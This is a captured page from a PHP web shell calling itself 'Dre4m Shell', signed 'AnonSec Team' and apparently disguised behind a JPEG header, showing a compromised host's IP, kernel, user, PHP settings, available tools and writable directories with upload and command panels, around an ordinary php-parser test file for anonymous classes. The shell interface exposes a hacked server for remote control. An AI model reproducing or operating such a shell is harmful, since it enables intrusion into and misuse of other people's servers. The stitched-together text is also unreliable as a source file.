ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.118.37.137
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/nicnAdmin/vendor/nikic/php-parser/test/code/parser/stmt/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/nicnAdmin/vendor/nikic/php-parser/test/code/parser/stmt/class/anonymous.test
Anonymous classes
-----
<?php

new class {
    public function test() {}
};
new class extends A implements B, C {};
new class() {
    public $foo;
};
new class($a, $b) extends A {
    use T;
};

class A {
    public function test() {
        return new class($this) extends A {
            const A = 'B';
        };
    }
}
-----
array(
    0: Expr_New(
        class: Stmt_Class(
            type: 0
            name: null
            extends: null
            implements: array(
            )
            stmts: array(
                0: Stmt_ClassMethod(
                    type: 1
                    byRef: false
                    name: test
                    params: array(
                    )
                    returnType: null
                    stmts: array(
                    )
                )
            )
        )
        args: array(
        )
    )
    1: Expr_New(
        class: Stmt_Class(
            type: 0
            name: null
            extends: Name(
                parts: array(
                    0: A
                )
            )
            implements: array(
                0: Name(
                    parts: array(
                        0: B
                    )
                )
                1: Name(
                    parts: array(
                        0: C
                    )
                )
            )
            stmts: array(
            )
        )
        args: array(
        )
    )
    2: Expr_New(
        class: Stmt_Class(
            type: 0
            name: null
            extends: null
            implements: array(
            )
            stmts: array(
                0: Stmt_Property(
                    type: 1
                    props: array(
                        0: Stmt_PropertyProperty(
                            name: foo
                            default: null
                        )
                    )
                )
            )
        )
        args: array(
        )
    )
    3: Expr_New(
        class: Stmt_Class(
            type: 0
            name: null
            extends: Name(
                parts: array(
                    0: A
                )
            )
            implements: array(
            )
            stmts: array(
                0: Stmt_TraitUse(
                    traits: array(
                        0: Name(
                            parts: array(
                                0: T
                            )
                        )
                    )
                    adaptations: array(
                    )
                )
            )
        )
        args: array(
            0: Arg(
                value: Expr_Variable(
                    name: a
                )
                byRef: false
                unpack: false
            )
            1: Arg(
                value: Expr_Variable(
                    name: b
                )
                byRef: false
                unpack: false
            )
        )
    )
    4: Stmt_Class(
        type: 0
        name: A
        extends: null
        implements: array(
        )
        stmts: array(
            0: Stmt_ClassMethod(
                type: 1
                byRef: false
                name: test
                params: array(
                )
                returnType: null
                stmts: array(
                    0: Stmt_Return(
                        expr: Expr_New(
                            class: Stmt_Class(
                                type: 0
                                name: null
                                extends: Name(
                                    parts: array(
                                        0: A
                                    )
                                )
                                implements: array(
                                )
                                stmts: array(
                                    0: Stmt_ClassConst(
                                        consts: array(
                                            0: Const(
                                                name: A
                                                value: Scalar_String(
                                                    value: B
                                                )
                                            )
                                        )
                                    )
                                )
                            )
                            args: array(
                                0: Arg(
                                    value: Expr_Variable(
                                        name: this
                                    )
                                    byRef: false
                                    unpack: false
                                )
                            )
                        )
                    )
                )
            )
        )
    )
)

Anon7 - 2022
AnonSec Team